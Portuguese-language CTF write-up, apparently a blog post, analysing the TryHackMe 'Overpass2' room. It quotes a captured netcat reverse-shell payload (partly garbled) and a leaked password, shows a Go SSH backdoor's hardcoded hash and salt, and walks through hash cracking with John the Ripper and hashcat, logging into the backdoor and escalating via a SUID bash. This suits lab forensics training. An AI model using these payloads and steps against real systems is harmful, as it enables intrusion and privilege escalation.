Análise de Ataque e Recuperação de Servidor em Ambiente TryHackMe: Caso Overpass2

O servidor Overpass foi comprometido, e um arquivo de captura de pacotes (PCAP) foi obtido durante o ataque. Para iniciar a investigação, abra o arquivo PCAP no Wireshark com privilégios elevados:

sudo wireshark captura_redes.pcap

No Wireshark, localize o primeiro pacote TCP e utilize a opção "Follow TCP Stream" para visualizar a comunicação no nível da aplicação. Observando o fluxo, identifica-se que o invasor acessou um diretório de desenvolvimento (/dev/) e utilizou um script de upload (enviar.php) para carregar um payload malicioso. O conteúdo do payload revela uma tentativa de estabelecer uma shell reversa:

&1|nc 192.168.1.100 4444 >/tmp/d")?>

Após a ativação do payload, o pacote subsequente mostra que o invasor verificou sua identidade com o comando whoami, obtendo acesso como o usuário www-data. Em seguida, ele aprimorou a shell utilizando módulos Python e explorou arquivos ocultos, encontrando um arquivo .config com credenciais. A senha descoberta permitiu uma escalada de privilégios para o usuário admin:

senhaSegura123

Continuando a análise, o invasor listou permissões sudo, acessou o arquivo /etc/shadow e clonou um repositório de ferrramentas de backdoor de um servidor GitHub, instalando um backdoor SSH para persistência.

Revisão de Código do Backdoor

O repositório clonado contém um backdoor escrito em Go. Examinando o arquivo principal (main.go), nota-se um hash padrão hardcoded para autenticação:

hashPadrao := "a1b2c3d4e5f6789012345678901234567890abcdef1234567890abcdef123456"

Além disso, uma função de verificação de senha utiliza um salt estático, também hardcoded no código:

saltFixo := "f0e1d2c3b4a5968778695a4b3c2d1e0f"

Ao correlacionar com os dados do PCAP, percebe-se que o invasor executou o backdoor com um hash personalizado via parâmetro -h, diferente do padrão. Esse hash foi extraído dos logs de rede para análise posterior.

Cracking de Senhas e Hashes

Os hashes obtidos do arquivo /etc/shadow foram salvos em um arquivo hashes_shadow.txt. Utillizando o John the Ripper com um dicionário comum, tenta-se quebrar as senhas:

sudo john --wordlist=/usr/share/wordlists/common_passwords.txt hashes_shadow.txt

O resultado indica que múltiplas senhas foram recuperadas. Para o hash personalizado do backdoor, identificado como SHA-512 com salt (conforme análise do código), utiliza-se o hashcat. Primeiro, prepare um arquivo contendo o hash e o salt no formato correto:

hashcat -m 1710 -a 0 hash_backdoor.txt /usr/share/wordlists/dicionario_grande.txt

Após a execução, a senha correspondente ao hash do invasor é revelada, permitindo simular o acesso ao backdoor.

Recuperação do Servidor

Com as informações coletadas, o próximo passo é recuperar o controle do servidor comprometido. Inicie com uma varredura de portas usando nmap:

nmap -sV -sC -Pn -v 10.10.74.30

A varredura mostra serviços SSH nas portas 22 e 2222. Tente autenticar como admin na porta 2222 usando a senha obtida do cracking do backdoor:

ssh -p 2222 admin@10.10.74.30 -oHostKeyAlgorithms=+ssh-rsa

Após o login bem-sucedido, navegue até o diretório pessoal do usuário para recuperar a flag de usuário:

cat ~/flag_usuario.txt

No diretório, note um binário oculto com permissões SUID, como uma cópia do bash. Execute-o para obter uma shell com privilégios elevados:

./bash_suid -p

Com acesso root, acesse o diretório raiz para recuperar a flag de administrador, concluindo a recuperação do servidor.

Tags: TryHackMe Wireshark PCAP SSH hashcat

Publicado em 6-2 05:35 por Thomas